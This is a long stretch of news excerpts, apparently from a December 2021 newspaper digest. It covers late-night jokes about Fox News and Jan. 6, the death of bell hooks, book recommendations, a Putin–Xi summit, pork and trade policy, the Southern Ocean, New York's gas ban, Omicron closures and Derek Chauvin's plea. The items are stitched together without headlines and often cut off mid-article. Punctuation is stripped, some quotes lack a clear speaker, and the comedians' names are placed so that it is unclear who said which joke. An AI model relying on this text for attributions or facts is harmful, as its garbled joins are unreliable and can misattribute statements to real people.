outlet. Arias had originated the Cirque part, and Joey said, If you ever give up performing, you should paint. I said I would never give up performing, but here we are. Should the stem cell therapy work well enough, Raven O wouldnt rule out a return to the stage. But Id never do it as intensely, he said. In Hawaii, I can let nature take care of me. My older brother told me, you have to come home and let the aina the island heal you. And hes a badass, too. Gee, if only they had some sort of media outlet where they could have said that publicly. JIMMY KIMMEL This is like finding out the flight attendant whos been telling you that its just a little turbulence is going back into the cockpit, like, Doesnt anybody know how to fly this thing? Were all gonna die! TREVOR NOAH Yeah, it came out that Fox News hosts were begging for Trump to do something. And today Fox News hosts lit their tree on fire again just to change the subject. JIMMY FALLON So, the Jan. 6 attack scared Laura Ingraham and keep in mind, her side gig is appearing in your bathroom mirror if you whisper Medicare for all three times. STEPHEN COLBERT The records show that then-White House chief of staff Mark Meadows also received a text from Fox News host Brian Kilmeade that said, Please get him on TV. Destroying everything weve accomplished. That is a shocking revelation they had to beg Trump to go on TV? SETH MEYERS bell hooks, whose incisive, wide-ranging writing on gender and race helped push feminism beyond its white, middle-class worldview to include the voices of Black and working-class women, died on Wednesday at her home in Berea, Ky. She was 69. Her sister Gwenda Motley said the cause was end-stage renal failure. Starting in 1981 with her book Aint I a Woman? Black Women and Feminism, Ms. hooks, who insisted on using all lowercase letters in her name, argued that feminisms claim to speak for all women had pushed the unique experiences of working-class and Black women to the margins. A devaluation of Black womanhood occurred as a result of the sexual exploitation of Black women during slavery that has not altered in the course of hundreds of years, she wrote. If that seems like conventional wisdom today, that is in large part because of the enormous impact Ms. hooks had on both feminism and Black women, many of whom had resisted aligning with a movement they felt was designed to diminish their experiences. THE LOFT GENERATION: From the de Koonings to Twombly: Portraits and Sketches 1942-2011, by Edith Schloss. Edited by Mary Venturini. (Farrar, Straus & Giroux.) The German American writer and artist Edith Schlosss memoir was discovered in rough-draft form after her death in 2011, and its been polished into a glowing jewel of a book. It recalls a Whos Who of art-world characters, including Willem and Elaine de Kooning, Leo Castelli and Merce Cunningham. All five senses are shaken awake by the book, Jacobs wrote. If nostalgia is a sixth and often fogging sense, it is absent in a book that feels manifestly present, clear and alive even while describing the past. Read the review THE RIGHT TO SEX: Feminism in the Twenty-First Century, by Amia Srinivasan. (Farrar, Straus & Giroux.) In these rigorous essays, Amia Srinivasan wants nothing less, she writes, than to remake the political critique of sex for the 21st century. This is fraught terrain, and she treads it with determination and skill, writing about pornography and the internet, misogyny and violence, capitalism and incarceration. She also makes space for ambivalence, idiosyncrasy, autonomy and choice. Srinivasan has written a compassionate book. She has also written a challenging one, Szalai said. She coaxes our imaginations out of the well-worn grooves of the existing order. Read the review THE EMPATHY DIARIES: A Memoir, by Sherry Turkle. (Penguin Press.) In this warm, intimate memoir, the clinical psychologist Sherry Turkle writes about her childhood in postwar Brooklyn; Radcliffe and Harvard in the late 1960s, when she was an undergraduate; and Paris in the early 1970s, where she studied the work of (and got to know) the psychoanalyst Jacques Lacan. This is a beautiful book, Garner wrote. It has gravity and grace; its as inexorable as a fable; it drills down into the things that make a life. Read the review PESSOA: A Biography, by Richard Zenith. (Liveright.) Fernando Pessoa, the Portuguese poet, critic, translator, mystic and giant of modernism, published a few books that went mostly unnoticed during his lifetime. After his death in 1935, a trunk was discovered, brimming with his true lifes work, written not only by Pessoa but by a flock of his personas (he created dozens of them, including a doctor, a classicist, a bisexual poet, a monk, a lovesick teenage girl). Zeniths book is mammoth, definitive and sublime, Sehgal wrote. He has written the only kind of biography of Pessoa truly permissible, an account of a life that plucks at the very borders and burdens of the notion of a self. Read the review Fiction & Poetry SECOND PLACE, by Rachel Cusk. (Farrar, Straus & Giroux.) Rachel Cusks first novel since she concluded her acclaimed Outline trilogy is about M, a sharply observant middle-age writer who lives with her second husband on a remote piece of property. She invites L, a famous younger painter whose work she admires, to come and stay in their second place, a cabin thats an artists retreat of sorts. L arrives with a beautiful young girlfriend in tow, and the novel becomes a swirling hothouse. Its as if Cusk has been reading Joyce Carol Oatess best novels, Garner wrote. She digs into the gothic core of family and romantic entanglements. Read the review PLAYLIST FOR THE APOCALYPSE: Poems, by Rita Dove. (Norton.) Rita Doves new collection is about the weight of American history, and its also about mortality. Its the first time she has publicly acknowledged that she has had a form of multiple sclerosis for more than 20 years. Some of these poems address health troubles. Some are about Martin Luther King Jr., Robert F. Kennedy, Muhammad Ali and Barack Obama. Garner called the poems among her best, and wrote: Doves books derive their force from how she so deftly stirs the everyday insomnia, TV movies, Stilton cheese, rattling containers of pills into her world of ideas and intellection, in poems that are by turns delicate, witty and audacious. Read the review CROSSROADS, by Jonathan Franzen. (Farrar, Straus & Giroux.) Jonathan Franzens new novel, which starts a trilogy, is set in suburban Chicago. At its center are the Hildebrandts, another of the authors seemingly solid Midwestern families. The patriarch, Russ Hildebrandt, is the local churchs idealistic associate pastor. Throughout the novel each of the major characters suffer crises of faith and of morality. Its a mellow, marzipan-hued 70s-era heartbreaker, Garner wrote. Its warmer than anything hes yet written, wider in its human sympathies, weightier of image and intellect. If I missed some of the acid of his earlier novels, well, this one has powerful compensations. Read the review Putin and Xi show united front President Vladimir Putin of Russia and President Xi Jinping of China met in a video summit and sought mutual support in their conflicts with the West. They did not declare a formal alliance, but they called each other old friend, dear friend and esteemed friend, showing solidarity in the face of increased Western pressure over human rights and an ever-tighter geopolitical partnership. Putin said that he would attend the opening ceremony of the Beijing Olympics in February, making him the first leader to confirm that he would go to an event that officials from the U.S., Australia, Canada, New Zealand and other countries have boycotted. Points of agreement: Xi voiced support for Putins demands for security guarantees from the West. Putin concurred with Xis critical view of Western military activity in the Asia-Pacific region. The leaders discussed forming an independent financial infrastructure, a Kremlin aide said, to reduce their reliance on Western banks. Erin Schaff, a Times photographer, was covering the certification of Joe Bidens election at the Capitol on Jan. 6 when she heard protesters making noise inside the building. She walked toward the sounds to document what was happening. Soon, a mob was running through the Capitol. Two or three men, wearing black, surrounded Erin and demanded to know where she worked. When they saw The New York Times on her congressional media badge, they threw her to the ground, ripped away one of her cameras and broke another before running away. Erin then went looking for help only to have police officers, assuming she was a rioter, point guns at her and yell at her to get down on her hands and knees. Once the officers understood she was a journalist, they helped her and two other photographers find a room where they could barricade themselves. Running toward the story, even when it involves physical danger, is an inherent part of photojournalism. The hundreds of photographers around the world who work with The Times usually do so quietly. They rarely go on television or podcasts, and their names appear in small type below their photographs. Restaurants, grocery stores and industry groups in California are suing the state to block a farm animal welfare law set to go into effect on New Years Day that they say will destabilize the multibillion-dollar national pork supply chain. They allege that the state has long delayed creation of a regulatory framework to shepherd these major changes that affect businesses across the country. Proposition 12, which was approved by three out of five California voters in 2018, will require farm animals including calves, hens and pigs to be able to lie down and turn around in spaces in which they are confined. Businesses that fail to satisfy the space requirements will be penalized with fines up to $1,000 or as many as 180 days in jail, according to the California Department of Food and Agriculture. The lawsuit, filed a month ago in California Superior Court in Sacramento, says that a disconnect between the bill approved by voters three years ago and the way the state is carrying it out will cause compliance chaos for all affected industries, especially the pork supply chain, which it says will face substantial disruptions, potentially including an abrupt stop to pork sales. The plaintiffs, including the California Grocers Association and the California Restaurant Association, are calling for a 28-month postponement to begin once final regulations are adopted. I want the farmers to come tell me, Sir, we cant produce that much, he added. When Mr. Trump signed the trade deal with China in January 2020, those estimates became enshrined as the word of the U.S. government. And though Mr. Biden and his deputies have criticized the trade deal for failing to address many of the most pressing trade issues that the United States has with China, they have since promised to uphold it. In a call last month with President Xi Jinping of China, President Biden underscored the importance of China fulfilling the commitments, and his desire for real progress in conversations between Ms. Tai and her counterpart, Vice Premier Liu He, a senior administration official said. Both Chinese and American officials have stressed that purchasing commitments are just one component of the trade deal. The deal also contained promises to streamline Chinas import process for U.S. farm goods, ramp up penalties for intellectual property infringement and ease barriers for American financial firms doing business in China, among other reforms. Ms. Tai has said she is pressing Chinese leaders on those other commitments, as well as on important trade issues that were not covered in the deal, like Chinas use of industrial subsidies to bolster its industries. But she called the trade deal, which is often referred to as Phase 1, a living agreement. This is the commitment that we bring as an administration to the agreements that the United States enters into with our trading partners, which is, yes, we are holding them accountable, Ms. Tai said. China has come closest to satisfying its target commitments on agriculture, fulfilling 83 percent of the purchases it was expected to have made by the end of October under the deal, according to tracking by Mr. Bown. Corn and pork sales to China have been particularly strong, after an epidemic of African swine fever decimated Chinas pig herds. But exports of American soybeans, lobster and other products appear to have fallen short, according to Mr. Bowns estimates. Some employers regard applicants with long periods of unemployment unfavorably, research shows even if many are reluctant to admit it. Employers dont often articulate why but the idea, they believe, is that people who are out of work are damaged in some way, which is why they are out of work said Peter Cappelli, the director of the Center for Human Resources at the Wharton School of the University of Pennsylvania. Some economists believe the pandemics unique effects on the economy may have changed things. Notably, the pandemic destroyed millions of jobs seemingly all at once, especially in the travel, leisure and hospitality industries. Many people could not, or chose not to, work because of health concerns or family responsibilities. For people who were just laid off because of Covid, will there be a stigma? I dont really think so, Mr. Cappelli said. Although monthly job-finding rates plummeted for both the short- and long-term unemployed during the early part of the pandemic, the rate for the long-term jobless has since rebounded to roughly the same level as before the pandemic, according to government data. While that does not imply the employment-gap stigma has disappeared, it suggests it is no worse than it has been. That was what Rachel Love, 35, found when she applied for a job at Qwick. After Ms. Love was furloughed, and then laid off from her sales job at a hotel in Dallas last year, she kept hoping that her former company would hire her back. She had been unemployed for about a year when she came to terms with the idea of getting a new job and became aware of a business development position at Qwick. Interviewers did not press her about why she had been out of work for so long. I hope now, just with everything going on, I think people can look at the resume and look at the time frame and maybe just infer, said Ms. Love, who began working remotely for Qwick in June. Circling Antarctica, the huge Southern Ocean is out of sight of most of the world. Its been mostly out of mind, too: It plays a critical role in Earths climate, but because conditions are so wild and dangerous, theres been far less research there compared with other oceans. Thats now changing, thanks in large part to autonomous water-measuring floats that drift up, down and around the ocean, bobbing to the surface regularly to send data to satellites. With so much new information at hand, oceanographers and climate scientists are now learning more about the Southern Ocean. And what they are learning is worrying. The ocean is changing as the world warms as a result of emissions of carbon dioxide and other greenhouse gases. As I wrote in an article this week one that is accompanied by fascinating visualizations, created by my colleague Jeremy White, of some of the new float data the changes have huge implications for the future. The Southern Ocean may eventually release more carbon dioxide into the atmosphere, making it harder for the world to reduce emissions enough to stem global warming. And the ocean may accelerate the melting of Antarctic ice, which over the long term threatens to be by far the biggest contributor to sea level rise. Imagine walking out to the holiday table with a platter of perfectly cooked and carved duck. All of your guests look at you, incredulously: You made duck?! Yeah, you did, with the help of this recipe from Melissa Clark. The time required for dry brining and roasting adds up to the better part of a day, but the preparation itself is minimal, and the reaction the final product elicits makes it worth the investment. A side of porchetta-spiced roasted potatoes or simply roasted vegetables would complement this dish nicely. Recipe: Crisp Roast Duck Ariana, youve said your own identity was important in what you brought to the role. How did you discuss that with the creative team? DeBOSE It was one of the first things I brought up. My first audition. I didnt know Steven was going to be there, and I decided to just do what I needed to do, to represent myself well and what I could offer. Toward the end, he asked if there was anything else he needed to know, and I was like, if youre not interested in exploring the Afro-Latin identity, and finding ways to incorporate it or talk about that, you probably shouldnt hire me. I didnt want to feel like I was just checking a box for them, you know. It is a real lived experience, and its not something we talk about often. In fact, it wasnt until my adulthood that I really was able to clock that you can be Black and Puerto Rican and my mother is white. You can be all of those things. And Im queer, so theres a lot going on there. I was very adamant that we should either explore it, or you shouldnt go down the path with me. Steven, when we were filming, was like, does this actually feel authentic to you? And if not, we should change it. I could answer from my perspective, of course, but I didnt grow up in 1957. They brought folks to speak to us who lived in San Juan Hill during this time. There was an Irish gang member, Puerto Ricans who were living on the blocks at the time. Rita and I didnt really talk about the character a lot, but I found hearing about her lived experiences really helpful. Every kid should have an Uncle Charlie. Thats the sentiment voiced by J.R. Maguire early in The Tender Bar, and its hard to disagree. By the end of the movie, directed by George Clooney and adapted from J.R. Moehringers 2005 memoir, its clear that what J.R. means, most simply, is that every child should have an adult who loves them unconditionally: someone who listens, gives good advice and answers hard questions as truthfully as possible. In movie terms, it doesnt hurt if that person is also Ben Affleck. Uncle Charlie, a Long Island bartender who is loyal to his friends and family and devoted to his car (a beautiful blue-green Cadillac convertible), is like an older, 1980s-vintage version of Chuckie Sullivan, Afflecks character in Good Will Hunting. He likes to drink, smoke, crack wise and philosophize, but his calling in life is to be there for a vulnerable, promising young man when no one else will. Affleck is very good at this. He doesnt oversell either Charlies cool or his warmth, and doesnt let the audience or J.R. in on all of Charlies secrets. We see him mostly through the boys eyes, as a heroic, benevolent, somewhat mysterious figure, but Afflecks weary, stoical demeanor suggests dimensions beyond what a child might comprehend. (The young J.R. is played by Daniel Ranieri; grown-up, retrospective narration is provided by the voice of Ron Livingston.) The nuances of Afflecks performance help ground the movie in small, specific emotions. Its understatement, though, can be a limitation as well as a virtue. Con Ed, along with proponents like the Urban Green Council, a nonprofit group that promotes sustainable building, argued in Council hearings that the citys grid could handle the increase, partly because its biggest strains come in summer, from air conditioning. The shift to electric heating actually has the potential to reduce demand in summers, the groups analysts argued, because many builders are expected to turn to heat pumps, which are already common in Europe, and which both heat and cool spaces and use less energy than air-conditioners. To my mind, this new law would be the beginning of the end of the fossil fuel industry in Americas biggest city and a world capital, said Pete Sikora, the climate director of New York Communities for Change, which is part of a coalition of community and environmental groups whose yearlong campaign of street protests and rallies helped bring council members on board. New York City is responsible for 5 percent of gas burned in buildings, nationwide, which is huge, Mr. Sikora said. As the world fails to seriously confront the crisis, N.Y.C. will take a major leap forward. The measures lead sponsor, Councilwoman Alicka Ampry-Samuels, a Democrat from Brooklyn, said it would reduce air pollution and climate dangers that disproportionately kill and harm vulnerable groups like Black and poor people. When we prioritize profits and property over people, we might as well put a bullet in everybodys head, she told activists rallying before the vote in front of City Hall. Bans on gas hookups are the latest challenge for an industry already besieged by campaigns against fracking, pipelines and gas-fueled power plants; permits for two such plants were recently denied by state regulators. The fuel long known as natural gas, which climate advocates prefer to call methane gas or fracked gas, is less harmful to respiratory health than oil and emits less carbon, but producing it releases methane, an even more potent greenhouse gas. In fact, the trends have made the gas industry nervous enough to lobby states to forbid localities to enact gas bans. So far, 20 state legislatures, all of which are controlled by Republicans, have passed laws preventing the bans. New York University announced Wednesday that it was immediately canceling all nonessential gatherings and events both on and off campus, including graduations, holiday parties, study groups and athletic competitions, because of surging rates of new coronavirus cases in the community. Its not a cause for alarm, but it is a cause for concern, caution, and appropriate actions, the universitys provost, Katherine Fleming, said in a memo to the entire university. New York University is the latest college in the Northeast or Midwest to cancel in-person gatherings as cases of the coronavirus suddenly climb. The increases are tempering optimism that American colleges can safely continue on their planned trajectories back to normal after the dispiriting remote experiences of last year. New York University is also among a growing number of colleges that will mandate booster shots to return to campus for the spring semester, in an effort to better control the Omicron variant, which scientists believe is causing vaccine breakthrough infections and is already present on some college campuses. The SoHo plan, along with another rezoning approved by the City Council earlier this month in the Gowanus section of Brooklyn, are the first efforts by the de Blasio administration to focus on relatively white and more affluent neighborhoods. If we can create these kinds of opportunities, why not? said Councilwoman Margaret S. Chin, who represents much of the area being rezoned and supported the plan. Every neighborhood should contribute to help alleviate this housing crisis. The plan would revamp the zoning rules across 56 blocks of Lower Manhattan, many of which have not been updated in some 50 years. It would allow for the construction of an estimated 3,500 additional apartments, including roughly 900 affordable units, in an area that currently has about 8,000 residents. The plan would also make way for more commercial development, including offices and retail. Mr. de Blasio has relied on rezoning changing the rules about the type and amount of development allowed in an area as a key piece of addressing the housing crisis. But his successful rezoning efforts have so far almost all been in parts of Manhattan, Brooklyn, Queens and the Bronx that are lower income and less white. The SoHo and Gowanus plans are among the final acts of his administration, squeezed through weeks before a new mayor and City Council take office. It was time to do something, to bring the community into the 21st century and really make it a community for everyone, Mr. de Blasio told reporters on Wednesday before the vote. But Mr. Adams, who like Mr. de Blasio is a Democrat, is likely to continue pursuing a similar housing strategy. He said in October in an interview on The Ezra Klein Show, a New York Times podcast, that New York City needed to look at those sacred cows like SoHo and other parts of the city where we used these methods to keep out groups. To the Editor: Re Alarm Sounded on Youth Mental Health (news article, Dec. 8): There is a serious mental health crisis for the youth of America, according to Dr. Vivek Murthy, surgeon general of the United States. There is a mountain of evidence supporting this. Pediatric hospitals are overrun with mental health cases. There is a lot of hand-wringing but little more. A thorough analysis of our cultural flaws is seriously lacking. These children and adolescents are bombarded with a toxic mix of vicious social media and harmful violent video games, television shows and films. In addition, this is the only advanced nation in the world where going to school has turned into a form of Russian roulette. The discordant state of politics guarantees that nothing will change for these unfortunate youth. Our culture, which emphasizes winning at sports, egotism and accumulation of wealth, creates a weakened society unable to comprehend and deal with its most serious problems. The Covid pandemic is exhibit A. When Jon Harari first moved to Murray Hill in 2006, the lively bar scene on Third Avenue suggested to him that all the residents of the neighborhood were kids right out of college, like himself, he said. But the past 15 years have taught Mr. Harari, now 39 and the CEO of the digital marketing firm WindowsWear, that theres so much more history, so much more depth than he once imagined. Its an established neighborhood with over 250 years of history, said Mr. Harari, who rents a one-bedroom at the American Copper Buildings, a pair of striking copper-clad towers connected by a three-story skybridge, at 36th Street and First Avenue. (Recent one-bedroom rental listings at the towers, which opened to tenants starting in 2017, ranged from $4,958 to $6,070 a month.) First it punched an asteroid. Now, a NASA spacecrafts rampage may continue and it could blast a hole in another space rock. The OSIRIS-REX spacecraft is on its way back to Earth, having thwacked briefly the surface of an asteroid called Bennu last year to scoop up samples. It will arrive home in 2023, ejecting a capsule full of samples that may help eager scientists decipher the origin of Earths water and life. But the spacecraft will have plenty of fuel left. Its mission team wondered: Could it go somewhere else? Yes, it turns out. And not just anywhere, but one of the most famous near-Earth asteroids: Apophis. We were pretty excited when we found out we could go there, said Michael Nolan from the University of Arizona, the science team chief on the mission, who presented findings this week at the Fall Meeting of the American Geophysical Union in New Orleans. The Fendace show, held at the tail end of Milan Fashion Week in September, made news for a number of reasons: The Fendi designers, Kim Jones and Silvia Fendi, had created their version of Versace, and Donatella Versace had done her Fendi; it was the first time two brands from different luxury groups had been let loose in the others archives; and the runway was flush with former supermodels, including Kristin McMenamy, Naomi Campbell, Amber Valletta, Kate Moss and Gigi Hadid. Yet perhaps the most notable aspect of the show may have been one of the smallest: a tubeless white pump visible on the upper left leg of Lila Grace Moss Hack, a 19-year-old model who was strutting the runway in a gold-and-white Fendi x Versace swimsuit, cut high on the thigh, and a Greek-key-trimmed jacket. An Omnipod insulin pump used to treat Type 1 diabetes (T1D), an autoimmune disease that can be diagnosed at any age my daughter was diagnosed when she was 8 it was impossible to miss. Its appearance on the runway, spotlighting an often invisible condition, was another step in fashions definition of inclusivity. While the last full fashion season, earlier this fall, may have been the most inclusive across race, age, size and gender, according to The Fashion Spot, a trend forecasting site, models with disabilities remain underrepresented and underexposed. Born and raised in northwest London, in a family of Pakistani origin, Mr. Ahmed was educated at Oxford and has spoken openly of the alienation he experienced there. Thus for him, wearing a kurta to a movie event was both an act of reclamation and, equally, a chance for him to tweak Eurocentric and precolonial notions about what masculinity means. Growing up, I might be wearing a salwar kameez and then switch into my suit-and-tie English uniform, and then skip class to hang with my boys in Reeboks and an off-key print shirt from Moschino, probably fake, Mr. Ahmed said. These days, Im becoming more and more interested in not having to leave part of myself at the door as I enter a room. These days Mr. Ahmed, of course, has his pick of designers eager to associate themselves with an actor who, following his intense and nuanced performance in Sound of Metal, is so much in demand he has become a regular red carpet presence. Wearing a kurta to a premiere signals to the world what kind of space that is now and what is acceptable in that space, Mr. Ahmed said. This is something weve both thought about a lot. The other person he was referring to is Julie Ragolia, an influential stylist Mr. Ahmed has collaborated with for the last few years. Reached on the phone in Madrid, where she was styling an advertising campaign, Ms. Ragolia explained that in her work she tries to sneak in subtle gestures grounded in the philosophy studies of her prefashion years. Theres always an element of the political, she said, and a case in point is a recent cover of the Sunday Times of Londons Style magazine for which she outfitted Jake Gyllenhaal in a fuzzy grandpa pullover from Prada. The sweater selection itself was uncontroversial, yet the color, a shade of pink traditionally reserved for teen girl diaries and baby girl onesies, was still startling when worn by a hunk. Apple, which had already delayed its employees return to physical offices from September to October to January to February, has a new timeline: to be determined. Tim Cook, Apples chief executive, told employees in a message viewed by The New York Times on Wednesday that the company was delaying a return to hybrid work to a date yet to be determined. He said the decision was made because of the surge of the coronavirus around the world, fueled by the contagious Omicron variant. Mr. Cook also said the company would provide an additional $1,000 to each employee to help furnish home offices. The company confirmed the postponement but declined to comment further. The news came on the heels of Apples temporarily closing three retail stores, in Miami, Annapolis, Md., and Ottawa, amid a spike of positive tests and exposure among employees at those stores. This article is part of the On Tech newsletter. Here is a collection of past columns. Elizabeth Holmes, the founder of the failed blood-testing start-up Theranos, is nearing the end of a criminal trial to decide whether she intentionally misled investors in her company, as well as patients and doctors. A central question in the case is the line between fraud and the fake it until you make it ethos in Silicon Valley. Theranos also feels like an extreme outcome of a financial system that often rewards throwing money around blindly in the hunt for the winning start-up lottery ticket. Start-up investors pride themselves in finding promising young companies, but their job is kind of a crapshoot. All investing is a lot of luck. But backing young companies is essentially a bet that a tiny number of wins can make up for a whole lot of lemons. Start-up investors, in theory, can lose all their money 99 times out of 100, and theyre golden if one is the next Google. This start-up venture capital system has been, until recently, a small corner of finance, but it has outsize influence. It helped bring us iPhones, electric cars, social media and live-saving medicines. The system also has baked-in incentives to sometimes not look too hard for shoddy finances and to overlook bad behavior. LONDON For weeks, a question hung over London theater: What would happen to Stephen Sondheims Into the Woods? On Nov. 1, the Old Vic theater canceled a revival of the musical, co-directed by Terry Gilliam, after a dispute in which the renowned director was accused of endorsing transphobic views and playing down the MeToo movement. That left the production in limbo and Londons theater world wondering if anyone would dare to take it on. Now, there is an answer. On Aug. 19, 2022, Gilliams Into the Woods will debut at the Theater Royal in Bath, 115 miles from London. The show will run through Sep. 10, 2022, the theater said in a statement. The fuss around the revival which had received Sondheims blessing before his death began in May, when the Old Vic announced the production as the centerpiece of its new season. That news caused a stir on British social media, because of comments Gilliam had made, in a newspaper interview, about the MeToo movement and so-called cancel culture. By the time the Norwegian Breakaway cruise ship docked in New Orleans on Dec. 4, after a weeklong cruise that included stops in Belize, Honduras and Mexico, 17 coronavirus cases had been identified on the ship, including a case of the new Omicron variant. The local and federal health authorities were notified but not all the disembarking passengers. I only found out after I got home and saw it on the news, said Betsy Rodriguez, a retired veterinarian who took the Caribbean cruise with her daughter. We felt pretty safe knowing everyone on the ship was vaccinated, but I guess it would have been good to know people tested positive so we could have been more careful. Since the cruise industry restarted operations in the United States this June, its efforts to keep the coronavirus at bay or at least contained, unlike the major outbreaks experienced in 2020 have been largely successful. Most cruise companies mandate full vaccinations for crew and most passengers, and have implemented strict health and safety protocols to swiftly identify coronavirus cases onboard and reduce their spread. But in recent months, as new and highly contagious variants have emerged and case numbers steadily increase worldwide, these measures are being put to the test. Many lines are adjusting their masking, testing and vaccine rules, while criticism is mounting about the lack of transparency in reporting positive cases to passengers and crew members during sailings. Chicagos City Council approved a $2.9 million settlement on Wednesday for a woman who was forced to stand naked in front of a dozen police officers who, in February 2019, burst into her apartment to execute a search warrant. The officers handcuffed the woman, Anjanette Young, a medical social worker, on the evening of Feb. 21, 2019, after they used a battering ram to enter her home. Ms. Young, who is Black, stood naked for several minutes, screaming at the officers, all of them men and most of them white, that they had the wrong house. The police, who had been searching for a man with a gun, later learned that the person they were looking for had not lived in the apartment for at least four years. The City Council voted 48 to 0 to approve the settlement on Wednesday, a spokeswoman said. Alderwoman Jeanette B. Taylor of Chicagos 20th Ward said, 2.9 million may seem like a lot, but it will never give Ms. Young back her dignity and respect and the trust that shes lost. ST. PAUL, Minn. Derek Chauvin pleaded guilty on Wednesday to a federal charge that he used his position as a Minneapolis police officer to violate George Floyds constitutional rights, a move expected to extend Mr. Chauvins time in prison beyond a decades-long state sentence for murdering Mr. Floyd. Mr. Chauvin, 45, pleaded guilty in the U.S. courthouse in St. Paul, an appearance that was most likely among the longest periods he had spent outside a prison cell since a jury found him guilty of second-degree murder in April. Since then, he has been held in solitary confinement in Minnesotas only maximum-security prison, where he is allowed out of his 10-foot by 10-foot cell for one hour a day. A federal prosecutor said in court that the government had reached a plea deal with Mr. Chauvin under which prosecutors would seek to have him imprisoned for 25 years. That sentence would run concurrently with his state sentence, meaning it would lengthen Mr. Chauvins prison term by about two and a half years. Under the proposed sentence and rules about credit for good behavior, the earliest Mr. Chauvin would be released from prison would likely be around 2042, when he would be in his mid-60s. The sentence will ultimately be up to a judge at a later hearing. Six months ago, President Biden nominated Mayor Eric Garcetti of Los Angeles to be U.S. ambassador to India. Since then, the confirmation process has been unusually slow. That is partly because Republicans have held up scores of the presidents nominations. But it is also because of turmoil in the Garcetti administration and more generally at City Hall. On Tuesday, the mayor finally testified before the Senate Committee on Foreign Relations. To cut to the chase, Garcetti denied knowing that a Los Angeles police officer on his security detail had complained of sexual harassment by a top aide. Responding to Senator Jeanne Shaheen, Democrat of New Hampshire, the mayor said he never witnessed the alleged harassment, nor was it brought to my attention. If it had been, he added, he would have acted to stop it, saying that opposition to workplace abuses was a core issue for him. Even so, the industry as a whole was evolving in a way he found irresponsible. That shift crystallized for him in 2010 at an N.R.A. convention in Charlotte, N.C., where he saw a large poster advertising the Bushmaster AR-15-style rifle that said, Consider your man card reissued. The slogan would become part of a lawsuit being waged by families of people killed in the shooting at Sandy Hook Elementary School, which argues that the gun manufacturer had employed militaristic marketing campaigns that appealed to so-called couch commandos and troubled young men like the perpetrator of the 2012 attack. I remember lots of us in the industry kind of whispering to each other, looking at each other like, geez, Busse said. Norms were being broken, and lots of us who had been in the industry for quite a while did not quite know what to make of that. That trend in marketing, he said, has only intensified, pointing out that one company now markets a rifle as the Urban Super Sniper. The massacre at Sandy Hook, during which 20 first graders and six adults were killed, was a decisive moment. My kids were almost exactly the same age as those Sandy Hook kids, Busse said. I dont know that theres ever been anything that horrific. He added: It was sort of like, OK, if this doesnt spur legislation, nothing will. (The attack did not lead to new federal regulations.) Still, nearly eight years passed before Busse left his job as Kimbers vice president of sales. He delayed, he said, because he thought he could make a difference from inside the industry. There were also practical concerns: He was earning $210,000 a year, he said, but he was 50 years old, had a family and could scarcely afford to leave his wages behind. His wife, Sara Busse, kept pressing him to leave. In 2019, when they were celebrating their 20th anniversary, she sequestered him in a hotel room and said, Were not leaving until we have a plan. The school board in Los Angeles decided on Tuesday to put off until the next academic year a plan to require coronavirus vaccination for students 12 and older who attend class in person. Under a plan that the Los Angeles Unified School Districts Board of Education approved in September, those students would have needed to show proof of full vaccination by Jan. 10. Otherwise they would be transferred to an online study program. But on Tuesday, the board voted to delay the policys start date until the fall 2022. When the district first announced the vaccine mandate, about 80,000 students who were eligible for vaccination had not yet been inoculated. As of last week, the figure was about 34,000, The Los Angeles Times reported. The school district said on Tuesday that delaying the rule would allow further time to offer educational opportunities to vaccine-hesitant families. It also said that more than 86 percent of students in the district had already complied with the mandate, and that others were in the process of registering their vaccine paperwork. A Louisiana judge said she would take an unpaid leave of absence after a video recorded her using a racial slur while watching security footage of a foiled burglary outside her home. The judge, Michelle Odinet of the City Court of Lafayette, La., said she was on a sedative at the time the video was made and had no memory of the episode. After an unknown source released the video to the local news media, several civic groups including the Lafayette branch of the N.A.A.C.P. called on the judge to resign, and criminal defense lawyers asked the judge to recuse herself from their cases. Judge Odinets lawyer, Dane Ciolino, said in an interview on Thursday morning that he had notified the judiciary committee of the judges intent to take leave without pay. He also confirmed that the judge used a racial slur in the video, which did not show the faces of the people who spoke in it. WASHINGTON President Biden flew to Kentucky on Wednesday to survey the damage wrought by a series of deadly tornadoes last weekend, reprising a role comforting disaster victims that has become a staple of his presidency and promising that the federal government would cover the full cost of emergency response efforts for the next month. Mr. Biden walked the storms paths of destruction in a pair of communities in the southwestern corner of the state, past entire blocks of buildings leveled by the high winds. He hugged survivors and promised that his administration would partner in relief efforts until residents and business owners could fully rebuild, describing the devastation as almost beyond belief. I intend to do whatever it takes, Mr. Biden said in brief remarks from an intersection in battered Dawson Springs, Ky., as long as it takes, to support your state, your local leaders, as you recover and rebuild because you will recover and you will rebuild. Governors from five states have written a joint letter to Lloyd J. Austin III, the defense secretary, asking that their National Guard troops be exempted from a federal coronavirus vaccine mandate, greatly escalating what had been a single state conflict over inoculations. Setting punishment requirements for refusing to be Covid-19 vaccinated, and requiring separation from each state National Guard if unvaccinated are beyond your constitutional and statutory authority, wrote the governors of Alaska, Wyoming, Iowa, Mississippi and Nebraska, all Republicans, to Mr. Austin, and asked that their states be given an exemption from the requirement. The Pentagon has yet to respond to the letter, which was dated Tuesday. Last month, the Defense Department rejected an attempt by Kevin Stitt, the governor of Oklahoma, to exclude the states National Guard from the mandate, setting the stage for Guard members in the state to lose their jobs should they refuse. The department this week released a new order noting that all guard members who do not get vaccinated will receive a general order of reprimand, which would essentially end their career. Federal officials have said that governors have no legal standing to allow Guard members to refuse the vaccine mandate. State officials and some legal experts, however, believe that unless National Guard members are federally deployed, they are under the jurisdiction of the governor of their state and therefore not subject to federal mandates. No explanation was offered for the delay, although the detainee processing took place after President George W. Bush announced on Sept. 6, 2006, that the prisoners were at Guantanamo. One reason for the disclosure, he said, was that to start the process for bringing them to trial, we must bring them into the open. Mr. Nashiri was arraigned in 2011, and the case has been repeatedly stalled through higher court challenges. Several law enforcement agents on Monday described how, during their assignment to the Criminal Investigation Task Force, a prosecution support organization created by the Defense Department, they undertook the collection process on Nov. 30, 2006, in their first encounter with the former C.I.A. detainees. The agents operated what Mr. Miller called an assembly line to photograph, fingerprint and take DNA samples of each of the 14 prisoners, who were shackled at the wrists and ankles and guided through the process by two guards. None of the men protested, complained or mentioned mistreatment, said Chief Warrant Officer Leona Mansapit of the Army. A military police soldier at the time, she took fingerprints from some of the prisoners. It was very routine, she said, aside from the late hour. An investigator who took part in the processing, George E. Boyles, who had served in law enforcement and military roles since the late 1980s, said that evening at Guantanamo Bay was the only occasion in his career that he had taken what was essentially booking samples of suspects in their fourth year in custody. Capt. Brian L. Mizer of the Navy, a military defense lawyer for Mr. Nashiri, accused the prosecutors of advancing a sham argument that this was a routine booking procedure happening 